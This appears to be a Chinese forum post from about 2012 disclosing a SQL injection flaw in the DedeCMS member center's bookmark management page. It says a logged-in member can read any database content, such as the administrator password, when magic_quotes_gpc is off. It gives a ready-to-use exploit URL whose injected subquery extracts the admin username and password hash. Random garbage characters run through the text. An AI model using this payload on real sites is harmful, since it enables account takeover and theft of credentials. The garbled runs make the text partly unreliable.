DedeCMS会员中心SQL注射漏洞- e5 B. z" G4 Z- d( h. ?5 q1 z
需要magic_quotes_gpc = Off) c0 J7 Q# y2 q8 x
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
& o/ }; R# Z, _' q, p& z ; @/ P4 s+ m6 _- t/ p% B
DedeCMS会员中心书签管理SQL注射漏洞
) F" S! E' M: W9 `+ |, \$ P _; c成功利用该漏洞可获得管理员密码% ~0 I# B4 m' w2 r
* T6 [0 |) u( o& Y( s+ R6 M G, E
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
3 A$ j" |8 e) T+ q7 J; k i% n
1 _$ c" |2 [% \9 j E9 ehttp://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
a z: [# n! @2 B |
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59